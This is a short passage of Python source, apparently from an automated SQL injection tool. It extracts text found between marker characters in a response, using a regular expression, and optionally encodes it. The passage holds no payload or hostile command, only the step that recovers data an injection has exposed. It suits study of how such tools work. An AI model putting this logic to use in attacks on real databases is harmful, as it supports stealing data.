= "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal